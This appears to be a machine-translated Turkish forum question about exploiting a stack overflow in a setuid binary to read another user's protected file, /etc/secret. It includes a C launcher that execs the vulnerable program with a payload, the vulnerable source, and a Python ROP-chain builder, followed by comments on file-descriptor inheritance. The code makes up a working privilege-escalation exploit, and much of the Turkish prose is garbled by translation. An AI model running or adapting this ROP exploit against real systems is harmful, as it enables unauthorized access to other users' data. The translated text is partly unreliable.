Bu programa, userA'ya ait olan ve yalnızca userA tarafından okunacak şekilde ayarlanan/etc/secret dosyasına bir Dosya Tanımlayıcısı açılır. userAÇocuğun setuid bit seti ile yürütüldüğünde fork() dosyasında dosya tanıtıcısı
-r-sr-x- için setuid bit ile bir ikili olan execve vasıtasıyla
programı çatal çocuk gizli
-r -------- 1 userA userA - 1 kullanıcıA kullanıcısıB prog'nın bir bellek taşması vardır. Yığın kabul edilemez. Read() işlevini çağıran bir ROP zinciri yazmayı başardım. Okumak için bir tanımlayıcı parametresine ihtiyacım var,/etc/secret'in tanımlayıcısı olmasını isterim.
/etc/secret tanımlayıcısının açıldığını değiştirmek mümkün mü? Şu andan itibaren izin reddediliyor, bu da mantıklı, çünkü ben onu kullanıcı olarak çağırıyorum. Çocuk setuid bit kümesine (userA) sahip bir program çalıştırır, bu yüzden bir çocuk yürütme aşamasında açık aramanın bir yolu var mıdır? Herhangi bir fikir?
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
int main(void)
{
pid_t pid;
int fd;
int fd1;
fd1 = open("/etc/secret",O_RDONLY); //file I want to read
if (fd1 < 0) {
perror("open");
return EXIT_FAILURE;
}
printf("FD:%d\n",fd1);
fd = open("in.txt", O_RDONLY); //ROP Chain,Payload that makes read()
if (fd < 0) { //I pass the file descriptor as a parameter
//Normally a integer 3
perror("open");
return EXIT_FAILURE;
}
if ((pid = fork()) < 0) {
perror("fork");
return EXIT_FAILURE;
} else if (! pid) { /* child */
dup2(fd, STDIN_FILENO);
close(fd);
execlp("/opt/prog", "prog", (char *)0);
perror("exec");
return EXIT_FAILURE;
} else { /* parent */
printf("Parent waiting\n");
}
return EXIT_SUCCESS;
}
güncelleştirme 1:
PROG kaynak kodu:
#include <stdio.h>
void main(){
int buf[8];
read(0, buf, 256);
}
Güncelleme 2:
Rop zincir
#!/usr/bin/env python
import struct
payload = "A" * 24
payload += struct.pack("<Q", 0x00000000004005b6)
payload += "A" * 8
payload += struct.pack("<Q", 0x0)
payload += struct.pack("<Q", 0x1)
payload += struct.pack("<Q", 0x00000000006006c8)
payload += struct.pack("<Q", 0x3) # Value for RDI register
payload += struct.pack("<Q", 0x0000000000600009) # Value for RSI register
payload += struct.pack("<Q", 0x8) # Value for RDX register
payload += struct.pack("<Q", 0x00000000004005a0)
payload += "E"*56
payload += struct.pack("<Q", 0x00000000004003e0)
f = open("in.txt", "w")
f.write(payload)
Güncelleme Bu test programı Yapılan 3
./Etc/gizli userA ait olan ve sadece userA tarafından okunan ayarlandığında, ben userB olarak programı çalıştırın:
test.c
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
int main(void)
{
pid_t pid;
int fd;
int fd1;
fd1 = open("/etc/secret",O_RDONLY); //file I want to read
if (fd1 < 0) {
perror("open");
return EXIT_FAILURE;
}
printf("FD:%d\n",fd1);
}
Çıktı geçerli:
./test açık: Izni reddedildi
Yani, bunun için bir yol yok, open() tanımlayıcıyı döndürmeden önce dosyadaki izinleri kontrol ediyor mu?
"Zincir zincir" nedir? –
https://en.wikipedia.org/wiki/Return-oriented_programming –
'/ etc/secret' için' open() 'çağrısına' O_CLOEXEC 'eklemediğinden, bu dosya okuma. Dosya tanımlayıcısını yalnızca uygun yerde belirtmeniz gerekir. Orijinal programda her zaman dosya tanıtıcı 3 olduğundan emin olun 'dup2()' (veya 'dup()' kullanarak, ancak bunu yapmak daha zordur. Klasik POSIX sistemlerinde, başka sorunlar olmazdı; Linux'un, yürütme işleminde açık bir dosya tanıtıcısı üzerindeki izinleri bir şekilde yeniden kontrol etmediğini söylemek istemiyorum, ancak bunu yapması pek mümkün görünmüyor. Execvp() 'yerine' execlp() 'kullanıyorsunuz. –